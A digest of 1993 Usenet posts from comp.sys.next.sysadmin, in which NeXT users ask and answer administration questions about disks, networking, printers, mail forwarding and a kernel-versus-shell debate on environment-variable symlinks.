Originator: fedor@hopper.Colorado.EDU
Sender: news@colorado.edu (The Daily Planet)
Organization: University of Colorado, Boulder
Distribution: usa
Date: Fri, 11 Jun 1993 15:07:10 GMT
I just started having a bizzare problem with my external drive after my
system crashed and I rebooted:
When I log in as root, all the files on the external disk have the proper
owners and groups set. But when I log in as, say, myself, all the files
on the disk are now owned by me (adam), and the group shows as "nogroup".
This even includes the mounted directory itself. In addition the
WorkspaceManager doesn't recognize my home directory (The fileviewer shows
the root '/' directory, my Dock is incorrect, etc.)
I've done a fsck on the disk, and it reported no errors. All the data seems
o.k.
If this is a disk problem, I wouldn't mind re-initializing the disk -- so
how do you re-initialize the disk?
Is it possible this is not a disk problem, but say a problem with netinfo?
thanks
adam
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
In-Reply-To: jimc@tau-ceti.isc-br.com's message of 10 Jun 93 21:36:03 GMT
To: jimc@tau-ceti.isc-br.com (Jim Cathey)
Message-ID: <CEDMAN.93Jun11110305@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu>
<CEDMAN.93Jun8113534@capitalist.princeton.edu>
<3586@tau-ceti.isc-br.com>
Distribution: usa
Date: Fri, 11 Jun 1993 15:03:04 GMT
In article <3586@tau-ceti.isc-br.com> jimc@tau-ceti.isc-br.com (Jim Cathey) writes:
In article <CEDMAN.93Jun8113534@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes:
>So, yes, one could add this feature to zsh, but it wouldn't really be
>very useful. If it belongs anywhere it belongs in the kernel so that
>all user programs (including zsh) would automatically use it. Adding
>it should be a nice exercise for a budding kernel hacker.
It would be a horrible hack for a kernel.
At least it would have a lot of company. The point is that it would
be a terrible hack in the shell as well, and that if you decide that
this functionality is worth a terrible hack (which reasonable people
might), you should at least as for a working horrible hack. And that
means that the place to put it is the kernel.
What about the poor bozo who put his mortgage information into a
file called $HOME (or whatever)?
As a matter of general principle poor bozos should be warned to stay
away from UN*X machines. UN*X is for real men. Poor bozos should
stay with systems designed with them in mind, like Macintoshes. If a
poor bozo doesn't want to listen he deserves what he gets and a
healthy dose of laughter on top of that. Unfortunately in this case
nothing terrible would happen to him. '$' would remain a perfectly
valid character in filenames. All operations would work on a file
with '$' in its name as ever. It is inside the contents of symlinks
that '$' would become a meta character. Now if our hypothetical poor
bozo knew about symlinks (and you can judge how likely a case that is
in somebody who calls a file '$HOME') he might he get confused if he
tried to create one which points directly at his mortage information.
And very likely not even that would happen as any non-broken ln(1)
would by default escape '$'s in symlink contents.
There's a reason that system calls shouldn't try to get too smart, since
there's no way around them. Such hack-ey crap should be done at a layer
above, where it's possible to bypass the stuff. Look at the extra
system calls you need to get around symlinks when you need to. The
exact same would be needed here.
I would go even further than that. What we would need would not be
something similar, but the very same system calls. The calls which
get around symlink interpretation also get around '$' expansion. This
may or may not be a waste of perfectly good system call numbers, but
it already is in the kernel anyway so there would be no extra burden.
Not to mention that the kernel can't automagically find the
appropriate environment for a process. It may be able to find the one
that it originally gave the process, but it wouldn't necessarily find
the changed information, if the process (like a shell) accepts a
setenv operation. There's no standard place to keep a changed
environment, since a process is allowed to fork a child with a
different environment using exec?e(). No, the kernel would need to be
told about the appropriate environment beforehand (or simultaneously,
anyone for opene()?
Please, why make things difficult ? The kernel would use exactly the
same enviroment which calls to execl or execv use. Exactly the same
enviroment which is inheritably modified by putenv and read by
getenv.
This is not a matter of wild theories. Any number of kernels read
enviroment variables from the process data space every day. Some even
use them to implement something similar to what I proposed here.
Check out HPUX CDFs for example.
At this point, you might just as well change the library binding and
do all the work there (same caveats), and call it something else
(opene sounds good to me), which means it wouldn't work everywhere you
might want it to. Or call it open, but put it in a special library
you link with first. Either way, you don't get what you want.
But I do. In the very worst possible case one would have to change a
tiny number of highly OS dependent programs which non-portably alter
their own environment. Even the child processes of such processes
will work automatically. I can live with that.
At least with the hack buried only in the shell there's
probably sufficient quoting available to get around it.
Not in csh, there isn't. In the kernel of course there _already_ is.
Ugh. Give it up as a bad job. (Or get a PC, where bad jobs are the rule.)
Now that's ... not a nice thing to say. Not nice at all.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
From: gvh@metrosoft.com (Gordon Van Huizen)
Subject: Simple network with 3Com EtherLink III
Message-ID: <1993Jun11.171025.619@metrosoft.com>
Sender: gvh@metrosoft.com
Organization: Metrosoft
Date: Fri, 11 Jun 1993 17:10:25 GMT
I'm attempting to set up a simple network consisting of a
cube and a NEC PowerMate with a 3Com EtherLink III
adapter. I have a short run of coax that's terminated at
both ends. I'm some problems, and there is no NextAnswer
listing for the 3Com card.
I've set up the NetInfo and server host stuff on the cube.
When I boot the NEC machine in an attempt to add it to the
network, I get the following message repeated over and
over:
en0: timeoutOccured. status=2000 IRQ=8
and the box never sees the network. Is there something
special about setting up the 3Com card? I ran the DOS setup
utility for the card and set it up for ISA, IRQ 10,
addr=300x.
It strikes me as odd that there was a timeout reported at
IRQ 8, since the 3Com card is set to use IRQ 10 in the
NEXTSTEP Configure app. I used Configure to set the IRQ to
8, and I got:
en0: timeoutOccured. status=2005 IRQ=8
The PC also has a DPT SCSI adapter and a ProAudio sound
card. I removed the sound card and its driver from the
system configuration to ensure that wasn't the source of
the conflict.
The cube states "the network is disabled or your computer
isn't attached to it" when it boots. Is this normal in a two
computer net when the other machine isn't
communicating?
Could all this be happening due to bad termination, etc? I
have a 15-foot stretch of coax with terminators at both
ends. Seems simple enough...
Thanks much for any light anyone can shed on this!
Regards,
Gordon
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From: bdm@agni.ss.uci.edu (Brian McElree)
Subject: Exception #3 at boot
Message-ID: <2C18E7B8.6711@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Date: 11 Jun 93 20:14:48 GMT
A colleague had just purchased a used Color NeXTstation (non-turbo, 32/400).
During the boot process at the "loading from disk" screen, the ROM monitor
pops up with an "Exception #3 (0xc) at 0x1000374" message. The station can
be manually booted and thereafter seems to function properly.
Has anyone had a similar problem or does anyone know what this message
indicates? Particularly, should it be a source of concern so as to
warrant returning the machine? Any knowledge, thoughts or opinions would
be greatly appreciated.
Thanks in advance,
Brian McElree
Cognitive Sciences Dept
UCI
bdm@agni.ss.uci.edu
From: mfausett@bbn.com (Mark Fausett)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Experience with Dec Laser?
Date: 11 Jun 93 20:05:32 GMT
Message-ID: <mfausett.739829132@kirin>
References: <1va4mgINN1r7@jhunix.hcf.jhu.edu> <1va4plINN1tm@jhunix.hcf.jhu.edu>
robinc@jhunix.hcf.jhu.edu (Robert Delucca) writes:
>Has anyone successfully used the new Dec laser postscript
>level 2 printer ($999) with a Next Turbo? How did you do it?
>Robert de Lucca
>email robinc@jhunix.hcf.jhu.edu
No problem; I just cut a cable to support hardware handshaking, set the
printer up to talk at 38400, told the NeXT that it was an Apple something or
another (salient detail being PostScript Level II), and chugged.
Don't suppose anyone has a more appropriate ppd file for the DEC...?
Mark Fausett
mfausett@bbn.com
From: lliou@sdcc3.ucsd.edu (Lily Liou )
Newsgroups: comp.sys.next.sysadmin
Subject: USRobotics Sportster 14.4 Modem with Fax
Message-ID: <50790@sdcc12.ucsd.edu>
Date: 10 Jun 93 21:04:04 GMT
Sender: news@sdcc12.ucsd.edu
Organization: University of California, San Diego
Hi everyone,
Now that the price of modems is plummetting, I'm interested in
getting a faster modem. I've seen the USRobotics Sportster
(external, 14400 baud, with class1 group3 fax) around and it
sounds like a nice deal (around $200). Has anyone gotten one of
these to work on a NeXT Turbo (or any of the original black
machines)? Either as a plain data modem or with the fax capability?
Any help or comments would be appreciated!
Thanks!
-Lily Liou
lliou@sdcc3.ucsd.edu
From: low00001@bullnext.mc.duke.edu (Richard Low)
Newsgroups: comp.sys.next.sysadmin
Subject: .forward mail to NeXT Mail and elsewhere
Message-ID: <16196@news.duke.edu>
Date: 11 Jun 93 21:31:06 GMT
Sender: news@news.duke.edu
Does anyone know how to set up a .forward file to forward NeXT Mail
to an external mail system *and* to place a copy of the mail message
into my NeXT Mail mailbox?
Thanks for any help.
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: .forward mail to NeXT Mail and elsewhere
Message-ID: <1993Jun12.002919.2776@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <16196@news.duke.edu>
Date: Sat, 12 Jun 1993 00:29:19 GMT
In article <16196@news.duke.edu> low00001@bullnext.mc.duke.edu
(Richard Low) abuses RTF to write:
>Does anyone know how to set up a .forward file to forward NeXT
>Mail to an external mail system *and* to place a copy of the
>mail message into my NeXT Mail mailbox?
\low00001,user@external.mail.system
[this technique is illustrated on the "vacation" man page, and is
not NeXT-specific]
-=EPS=-
From: steve@eps.com (Steven Kornreich)
Newsgroups: comp.sys.next.sysadmin
Subject: C-news. INN for NS-FIP
Distribution: world
Message-ID: <739869976snx@eps.com>
Date: Sat, 12 Jun 93 07:26:16 GMT
Organization: Electronic Publishing Services
What news program currently works with NS/FIP??
And also what news reader will work.
Thanks
Steve
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Message-ID: <1993Jun12.020847.7407@csus.edu>
Summary: Kernels don't read environment variables
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu> <CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com> <CEDMAN.93Jun11110305@capitalist.princeton.edu>
Date: Sat, 12 Jun 1993 02:08:47 GMT
In article <CEDMAN.93Jun11110305@capitalist.princeton.edu> writes:
>Please, why make things difficult ? The kernel would use exactly the
>same enviroment which calls to execl or execv use. Exactly the same
>enviroment which is inheritably modified by putenv and read by
>getenv.
execl and execv are library routines--front ends to execve(2)--
which requires the prototype environment string array be passed
*explicitly* (just like the argument list). Nothing sneaky is
happening. getenv is entirely user-mode, and putenv (which NeXT
no longer supplies as of 3.0) is as well. Environment variables
are inherited across a fork() because they're just ordinary data.
>This is not a matter of wild theories. Any number of kernels read
>enviroment variables from the process data space every day. Some even
>use them to implement something similar to what I proposed here.
>Check out HPUX CDFs for example.
Carl, you disappoint me. HP/UX Context Dependent Files don't use
UNIX environment variables, but something else called a context
string. The context string lives entirely in kernel data space,
is completely unrelated to the environment, and its contents
cannot be set by the user. It appears as a series of words,
separated by spaces, that give the cluster node name (a kernel
variable, akin to hostname), some architecture-derived keywords,
an indication of whether the root partition is local or network
mounted, and finally the word "default."
Example: standalone PA-RISC1.1 HP-PA localroot default
A CDF--also called a "hidden directory"--works something like a
NeXT Application Wrapper or .rtfd document; it's a directory with
several ordinary files in it. It's distinguished from a "normal"
directory by setting its "set uid" bit (which in traditional UNIX
is meaningless for a directory). So if I have a CDF called foo,
and an application tries to access it, the kernel will search for
files foo/standalone foo/PA-RISC1.1 foo/HP-PA etc. in that order
until it finds a match, and will act as though I'd requested that
file explicitly. If none of the files match (which can happen if
there's no "default" file), the kernel claims it doesn't exist.
If that application then attempts to open the CDF for create, the
cluster node name will be used, i.e. if I attempt to write on
foo, that request will be translated into an attempt to create
foo/standalone, since "standalone" is my cluster node name in the
above example.
As an aside, consider where we'd be had NeXT followed HP's lead
instead of adopting the current "fat binary" abomination:
+ Anything could be keyed off architecture--not just executables
+ It would be easily extensible as new architectures were
introduced
+ Installer packages would be more flexible
+ Far fewer changes would have been necessary to application
software
+ Fat NXBundles would have worked right in 3.0
+ Updated software versions could be tested on a single machine,
while appearing to be installed in their proper location, and
without sacrificing access to the production version
etc. etc.
-=EPS=-
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From: harit@kripalu.com
Subject: Using .rhosts
Message-ID: <1993Jun11.223741.6921@uunet!cbmvax!xmws!kripalu>
Sender: harit@uunet!cbmvax!xmws!kripalu
Organization: Kripalu Center
Date: Fri, 11 Jun 93 22:37:41 GMT
I seem to have problems getting the .rhosts file to work for the root
account. Any help would be appreciated. Please e-mail or call as I
do not read this group often.
---
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
--
Michael Allen Latta
Kripalu Center
harit@kripalu.com
(413)448-3288
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From: gordie@cyclesoft.com (Gordie Freedman)
Subject: Re: .forward mail to NeXT Mail and elsewhere
Message-ID: <1993Jun12.081845.9011@netcom.com>
Sender: gordie@netcom.com
Organization: Cyclesoft Media Works
References: <16196@news.duke.edu>
Date: Sat, 12 Jun 1993 08:18:45 GMT
In article <16196@news.duke.edu> low00001@bullnext.mc.duke.edu (Richard Low)
writes:
>Does anyone know how to set up a .forward file to forward NeXT
>Mail to an external mail system *and* to place a copy of the mail
>message into my NeXT Mail mailbox?
>
>Thanks for any help.
in your home directory, make a file .forward and put this in it:
\user, user@otherplace.whatever
That will send mail to "user" (which won't exactly put the mail in your
NeXTMail mailbox, but it will send the mail to you normally in the
"Unix/sendmail" sense, such that if NeXTMail is running it will put it in your
box), and also send mail to user@otherplace.whatever - the external system.
As a general note/question - why use rich text for a posting with only text
(and in one font at that)? It somewhat limits your audience ...
--
>>> Gordie Freedman -> gordie@cyclesoft.com NeXTMail Yes!
>>> Thou shalt not inline functions more complicated than 20
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From: cedman@princeton.edu (Carl Edman)
Subject: Re: Can you make a dynamic symbolic link to $HOME?
In-Reply-To: eps@futon.SFSU.EDU's message of Sat, 12 Jun 1993 02:08:47 GMT
To: eps@futon.SFSU.EDU (Eric P. Scott)
Message-ID: <CEDMAN.93Jun12092658@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Jun8.072602.2031@netcom.com> <GISLI.93Jun8095057@liapunov.eecs.umich.edu>
<CEDMAN.93Jun8113534@capitalist.princeton.edu>
<3586@tau-ceti.isc-br.com>
<CEDMAN.93Jun11110305@capitalist.princeton.edu>
<1993Jun12.020847.7407@csus.edu>
Date: Sat, 12 Jun 1993 13:26:58 GMT
In article <1993Jun12.020847.7407@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes:
In article <CEDMAN.93Jun11110305@capitalist.princeton.edu> writes:
>Please, why make things difficult ? The kernel would use exactly the
>same enviroment which calls to execl or execv use. Exactly the same
>enviroment which is inheritably modified by putenv and read by
>getenv.
execl and execv are library routines--front ends to execve(2)--
which requires the prototype environment string array be passed
*explicitly* (just like the argument list). Nothing sneaky is
happening. getenv is entirely user-mode, and putenv (which NeXT
no longer supplies as of 3.0) is as well. Environment variables
are inherited across a fork() because they're just ordinary data.
That's true. But my point was that execl and execv can figure out
what the environment is without being told explicitly. If they can,
so can the kernel. That execve passes the environment explicitly is a
matter of convenience, not necessity. Memory protection works one way
only -- user programs can't access kernel data space. Nothing
prevents kernel programs from accessing user data space.
>This is not a matter of wild theories. Any number of kernels read
>enviroment variables from the process data space every day. Some even
>use them to implement something similar to what I proposed here.
>Check out HPUX CDFs for example.
[ ... ]
As an aside, consider where we'd be had NeXT followed HP's lead
instead of adopting the current "fat binary" abomination:
[ ... ]
Yes, but then of course dynamic links via environment variables would
allow the same, just in an even more flexible and user transparent
manner.
Carl, you disappoint me. HP/UX Context Dependent Files don't use
UNIX environment variables, but something else called a context
string. The context string lives entirely in kernel data space,
is completely unrelated to the environment, and its contents
cannot be set by the user. It appears as a series of words,
separated by spaces, that give the cluster node name (a kernel
variable, akin to hostname), some architecture-derived keywords,
an indication of whether the root partition is local or network
mounted, and finally the word "default."
You got me. Oh, my, caught redhanded confidently spreading technical
misinformation. Years of building credibility -- all wasted because I
was to lazy to confirm a memory of an OS I haven't worked with
seriously in years. Please excuse me while I go and select the gun to
use.
Carl Edman
From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: HELP! How to connect HP 4M?
Date: 12 Jun 1993 13:38:27 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1vd4ajINN1io@jhunix.hcf.jhu.edu>
How do I get an HP 4M to work? I have the ppd file in
English.lproj but all I get is a blinking FORM FEED light.
I need to know just about everything, from A to Z.
THANKS
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
Nextmail rdelucca@rosemary.uucp.jhu.edu
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From: paul@phoenix.Princeton.EDU (Paul Lansky)
Subject: 486 byte ordering
Message-ID: <1993Jun12.172749.9483@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Sat, 12 Jun 1993 17:27:49 GMT
We have a cluster of black NeXT machines and
are contemplating getting a 486 machine to
break in. Unfortunately the byte ordering is
different on these machines. One is big endian
and the other little endian, (I forget which is
which). This, of course would create major problems
for sound and image files accessed across the network
between 68k and 486 machines.
I'd like to know how others have dealt with this
problem. Are there hardware solutions? Or must this
be dealt with entirely in software. Thanks for any
information.
Paul Lansky
paul@princeton.edu
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From: skrbec@rtsg.mot.com (Brad Skrbec)
Subject: USR Sportster 14.4 Fax Modem
Message-ID: <skrbec.739942477@bone15>
Sender: news@rtsg.mot.com
Organization: Motorola Inc., Cellular Infrastructure Group
Date: Sun, 13 Jun 1993 03:34:37 GMT
Anyone had any luck hooking the sportster up to a NeXT, and using
it as a Fax modem? Anyone care to share the configuration?
Thanks!
Brad
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From: robinc@jhunix.hcf.jhu.edu (Robert Delucca)
Newsgroups: comp.sys.next.sysadmin
Subject: Connecting HP 4M to NSTC?
Date: 13 Jun 1993 11:04:35 -0400
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Message-ID: <1vffm3INNot5@jhunix.hcf.jhu.edu>
Would some kind sould tell me what cable (pinouts!)
I need to connect this brand new LJ 4M Postscript
printer to this brand new Next Color Turbo? *Very*
frustrating not to print!!!
Robert de Lucca
email robinc@jhunix.hcf.jhu.edu
NExtmail rdelucca@rosemary.uucp.jhu.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Can you make a dynamic symbolic link to $HOME?
Message-ID: <1993Jun13.204031.5546@nic.csu.net>
From: eps@walnut.SFSU.EDU (Eric P. Scott)
Date: 13 Jun 93 20:40:30 PDT
References: <1993Jun8.072602.2031@netcom.com>
<GISLI.93Jun8095057@liapunov.eecs.umich.edu>
<CEDMAN.93Jun8113534@capitalist.princeton.edu> <3586@tau-ceti.isc-br.com>
<CEDMAN.93Jun11110305@capitalist.princeton.edu> <1993Jun12.020847.7407@csus.edu> <CEDMAN.93Jun12092658@capitalist.princeton.edu>
Organization: San Francisco State University
This thread has been taken to private e-mail.
-=EPS=-
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Subject: Re: 486 byte ordering
Message-ID: <1993Jun13.210645.5548@nic.csu.net>
From: eps@walnut.SFSU.EDU (Eric P. Scott)
Date: 13 Jun 93 21:06:44 PDT
References: <1993Jun12.172749.9483@Princeton.EDU>
Organization: San Francisco State University
In article <1993Jun12.172749.9483@Princeton.EDU>
paul@princeton.edu (Paul Lansky) writes:
>We have a cluster of black NeXT machines and
>are contemplating getting a 486 machine to
>break in. Unfortunately the byte ordering is
>different on these machines. One is big endian
>and the other little endian, (I forget which is
>which).
m68k = big-endian
i486 = little-endian
> This, of course would create major problems
>for sound and image files accessed across the network
>between 68k and 486 machines.
Sound, maybe. Image, no. NeXT added some additional stuff to
the Sound Library in 3.1 to explicitly byte-swap (this is for
people who like to stick pointers directly into 16-bit sound
data). (See the Release Notes.)
If you look at the specifications for TIFF and Display
PostScript, you'll see that both were designed to accommodate
either representation.
>I'd like to know how others have dealt with this
>problem. Are there hardware solutions? Or must this
>be dealt with entirely in software. Thanks for any
>information.
Don't worry about it. In most cases, the right thing happens
automagically.
-=EPS=-
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From: uunet!sci34hub!tybrin4!holli!me (Trey McClendon)
Subject: Re: Why does the Mail app disappear
Message-ID: <1993Jun13.213332.1416@holli.uucp>
Sender: me@holli.uucp (My Account)
Organization: TYBRIN Corporation -- Huntsville, AL
References: <1993Jun10.205442.18352@newshost.lanl.gov>
Date: Sun, 13 Jun 1993 21:33:32 GMT
In article <1993Jun10.205442.18352@newshost.lanl.gov> mlbm@lanl.gov (Mark
Martinez) writes:
> A couple of NeXTs at this site are experiencing Mail app problems.
> Occasionally, when the deliver button is pressed, the app quits. Both
NeXTs are
> recently upgraded to 3.0. Other machines running 3.0 are behaving
normally.
>
> Has anyone else seen this?
>
> thanks
>
> mark martinez
I've had it happen to me on several occasions also. No clue as to what
causes it, though.
Trey
--
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From: gemoe@proximus.north.de (Gerhard Moeller)
Subject: Re: Exception #3 at boot (includes SUMMARY)
Keywords: EXCEPTION #3, EXCEPTION #2
References: <2C18E7B8.6711@news.service.uci.edu>
Sender: gemoe@proximus.north.de (Gerhard Moeller)
Organization: Gerhard Moeller, German NeXT User Group, Oldenburg.
Date: Sun, 13 Jun 1993 08:23:09 GMT
Message-ID: <1993Jun13.082309.288@proximus.north.de>
In article <2C18E7B8.6711@news.service.uci.edu> bdm@agni.ss.uci.edu (Brian
McElree) writes:
>
> A colleague had just purchased a used Color NeXTstation (non-turbo, 32/400).
> During the boot process at the "loading from disk" screen, the ROM monitor
> pops up with an "Exception #3 (0xc) at 0x1000374" message. The station can
> be manually booted and thereafter seems to function properly.
>
> Has anyone had a similar problem or does anyone know what this message
> indicates? Particularly, should it be a source of concern so as to
> warrant returning the machine? Any knowledge, thoughts or opinions would
> be greatly appreciated.
If you still have warranty on your machine - let it repair!!!
As I wrote the first answer to your posting my machine crashed again.
Unfortunately, I ____NEED____ my NeXT very badly at the moment and
have *no* time at all to let it repair. (and no money :-( ) Here are the
answers I received. BTW: It seems that this is a quite common problem!
At this place: THANKS TO ALL THE KIND PEOPLE WHO HELPED ME!
Now for the answers:
========================================================================
From: Karsten Thygesen <karthy@dannug.dk>
It seems like to have the same problem as I did, but I'm far from
sure. My problem was that the lithium accumulator was overloaded due
to a defect in it. If you take out the battery and measure the voltage
accross the poles, then try to compare the result to the 3 V (??) it
should have. I'm not sure about the voltage, but it's printet on the
battery.
When my battery was defect I could not boot (could not even get the boot
prompt!!) and sometimes I got memory errors. I solved the problem by
exchanging the battery, but I'm not sure this is your problem even if it
the same symptoms.
A new battery is not very expensive.
Regards,
Karsten.
---
Karsten Thygesen I Aalborg, Denmark
karthy@dannug.dk (NeXT-Mail welcome) I Voice: +45 98 12 42 59
President, Danish NeXT Users Group I Fax: +45 98 12 44 81
pgp 2.2 key available on request or finger karthy@iesd.auc.dk
========================================================================
From: Mark G. Tacchi <tacchi@ccu.UManitoba.CA>
You may have faulty hardware on your hands. The exception codes that you
mention lead me to believe that there is a defective clock crystal.
You can get more help by calling 1-800-499-NeXT. If that number isn't
available in Germany, call 415-366-0900 and ask them to transfer you
(tell them that you are unable to access the number).
========================================================================
From: jbf@mbunix.mitre.org (Barney Frazer)
These errors occur on hardware traps: 2 is an access error and 3 is an
odd byte address error. In particular error 2 signifies an external
bus error or address translation error. Back up any crucial files and
call a repairman if it happens again.
========================================================================
From: Christoph M Zoeller <chris@kyrwalda.lanl.gov>
German:
-------
Aber jetzt mal Ernst beiseite (oder so hnlich): Das h rt sich nach
einem Hardwareproblem mit dem motherboard an. Ich hatte ein hnliches
Problem mit meiner station, und NeXT ersetzte das motherboard (nachdem
neue SIMMs nicht halfen). Als erstes w rde ich die SIMMS alle
'rausnehmen und wieder einsetzen (auf festen !!! Sitz achten! Und
nat rlich die blichen anti-static Vorkehrungen). Wenn das nicht
hilft, dann mu wohl ein neues motherboard her - I am afraid.
English:
--------
Seriously: It looks like a H/W problem with the motherboard. I had a
similar problem with my station and NeXT had to replace the
motherboard as replacement of SIMMS didn't work. First of all, I would
pull out the simms and put them in again, making sure they are tight. If
this doesn't help, you'll have to replace the motherboard, I'm afraid.
========================================================================
From: Matthias Klose <doko@cs.tu-berlin.de>
German:
-------
das kenne ich auch, manchmal erkennt er auch nur die interne
Festplatte nicht. Aber mit Ausschalten geht's dann wieder. Da mein
Rechner eh immer laeuft, macht sich das bislang nicht so stark bemerkbar
...
English:
--------
I know that as well, sometimes the computer doesn't recognize the
internal harddisk. But turning off and on the computer helps. As my
computer's running nearly all the time, I don't see this too often...
========================================================================
From: Bernhard Nocker <bnocker@cosy.sbg.ac.at>
We had the same problems a while ago. Try to remove all simms and
replace it again! Afterwards the problems disappeared. Seemed to be a
bad contact.
B.
--
Bernhard Nocker
University of Salzburg's Department of Computing Studies
Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe
Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at
Fax: +43-662-8044/6316 or +43-662-8044/611
========================================================================
Good luck, Gerhard.
--
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e Private: gemoe@proximus.north.de Phone (voice): +49-441-75520 e
X Uni: Gerhard.Moeller@arbi.Informatik.Uni-Oldenburg.DE NeXTmail X
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From: trebels@desdemona.theo-phys.gwdg.de (Stephan Trebels)
Subject: Novell Netware: can one replace Ethernet_II with 802.3 ?
Message-ID: <CPDEBVMK@gwdu03.gwdg.de>
Keywords: Novell, Netware, Ethernet_II, nuc
Sender: news@gwdu03.gwdg.de (USENET News System)
Organization: GWDG, Goettingen
Date: Sat, 12 Jun 1993 19:23:08 GMT
hi,
i do have a problem connecting to a Novell fileserver
using Ethernet 802.3. There are other fileservers using
Ethernet_II in the network, too. Now my slab initializes
npsd with Ethernet_II frames instead of Ethernet 802.3.
Has anyone managed to connect his NeXT to a Novell
fileserver using Ethernet 802.3 frames?
/usr/adm/messages says:
Jun 7 18:32:11 desdemona mach: Netware UNIX Client v3.11
Jun 7 18:32:11 desdemona mach: (C) Copyright 1991 Novell Incorporated
Jun 7 18:32:11 desdemona mach: All Rights Reserved
Jun 7 18:32:11 desdemona mach:
Jun 7 18:32:11 desdemona mach: NetWare protocol enabled for interface
en0, type "10MB Ethernet"
Jun 7 18:32:11 desdemona syslog: npsd: Binding to network 21121960 using
Ethernet_II frames.
Are there any documented or undocumented NetInfo entries,
that specify the correct network or the correct frames?
Browsing the help didn't help much, ... I simply do *not*
want those other Novell servers on the same Ethernet.
thanks in advance
stephan trebels <trebels@theo-phys.gwdg.de>
From: f_cnnghamjk@ccsvax.sfasu.edu
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
Subject: POP3 on a NeXT?
Message-ID: <1993Jun14.081606.5151@ccsvax.sfasu.edu>
Date: 14 Jun 93 08:16:05 CST
Organization: Stephen F. Austin State University
Does anyone have a POP3 server running on a NeXT? Is it difficult to set up?
-- kc
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From: fedor@hopper.Colorado.EDU (Adam Fedor)
Subject: Re: Problem with owner/group on external HD
Message-ID: <1993Jun14.145304.27400@colorado.edu>
Originator: fedor@hopper.Colorado.EDU
Sender: news@colorado.edu (The Daily Planet)
Organization: University of Colorado, Boulder
Distribution: usa
Date: Mon, 14 Jun 1993 14:53:04 GMT
Previously, I wrote:
>When I log in as root, all the files on the external disk have the proper
>owners and groups set. But when I log in as, say, myself, all the files
>on the disk are now owned by me (adam), and the group shows as "nogroup".
>This even includes the mounted directory itself. In addition the
>WorkspaceManager doesn't recognize my home directory (The fileviewer shows
>the root '/' directory, my Dock is incorrect, etc.)
You can solve this problem by including a line like the following in your
/etc/fstab file:
/dev/sd1a /local 4.3 rw,noquota 0 2
Note that the NeXT documentation claims that you should include a "noauto"
switch in the options list. This is incorrect, "noauto" should only
appear on the root partition.
Thanks for the help!
From: fedor@hopper.Colorado.EDU (Adam Fedor)
Newsgroups: comp.sys.next.admin
Subject: Re: Problem with owner/group on external HD (SOLVED)
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Previously, I wrote:
>When I log in as root, all the files on the external disk have the proper
>owners and groups set. But when I log in as, say, myself, all the files
>on the disk are now owned by me (adam), and the group shows as "nogroup".
>This even includes the mounted directory itself. In addition the
>WorkspaceManager doesn't recognize my home directory (The fileviewer shows
>the root '/' directory, my Dock is incorrect, etc.)
You can solve this problem by including a line like the following in your
/etc/fstab file:
/dev/sd1a /local 4.3 rw,noquota 0 2
Note that the NeXT documentation claims that you should include a "noauto"
switch in the options list. This is incorrect, "noauto" should only
appear on the root partition.
Thanks for the help!
--
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fedor@boulder.colorado.edu (W) | hard enough and it will fall over.
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From: whalenm@tsg.com (Matthew Whalen)
Newsgroups: comp.sys.next.sysadmin
Subject: gated for NeXT
Date: 14 Jun 1993 15:39:02 GMT
Organization: Telos Systems Group, Chantilly, VA
Distribution: usa
Message-ID: <1vi62m$f5k@obelix.tsg.com>
Has anyone compiled gated for NeXTStep 3.0? If so, I'd like to get a copy
of your code. It seems that the standard gated code (for 2.1 and
3.0Beta2) doesn't like the NeXT all that much. Thanks
-matthew ____
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From: droux@hei.unige.ch
Subject: Novell Netware 4 support ?
Message-ID: <1993Jun14.182923.1@hei.unige.ch>
Sender: usenet@news.unige.ch
Organization: University of Geneva, Switzerland
Date: Mon, 14 Jun 1993 16:29:23 GMT
My NeXT is connected to a Netware server Release 3 and our Novell administrator
will upgrade it to a Release 4 server. He told me that version 4 can accept
requests from version 3 clients but this is not very elegant.
Is there any plans toward the support of the Release 4 NetWare servers by
NEXTSTEP ? Will it be integrated in a forthcoming version of NEXTSTEP, or is it
already supported in 3.1 ? (I'm using 3.0)
Nicolas Droux
don@cs.isbiel.ch
From: mcullen@rothko.symantec.com (Michael Cullen)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT printing with NFS v1.2B
Date: 14 Jun 1993 17:17:26 GMT
Organization: Symantec Corporation
Message-ID: <1vibr6INNkuk@grumpy.symantec.com>
Here's one for you. I have NFS set up and I am able to print to a print
queue off the netware server with both my spark station and my NeXT cube
(version 2.1). When I try to print from my netware workstation I receive
the following error in my console window:
Jun 14 09:11:16 rothko npcomm[233]: can't print binary file
Can anyone tell me what if there is a way to fix this?
Thankx
Mcullen@rothko.symantec.com
Newsgroups: comp.sys.next.sysadmin
From: juan@apple.com (Juan Pineda)
Subject: C-News -- Feb '93 release
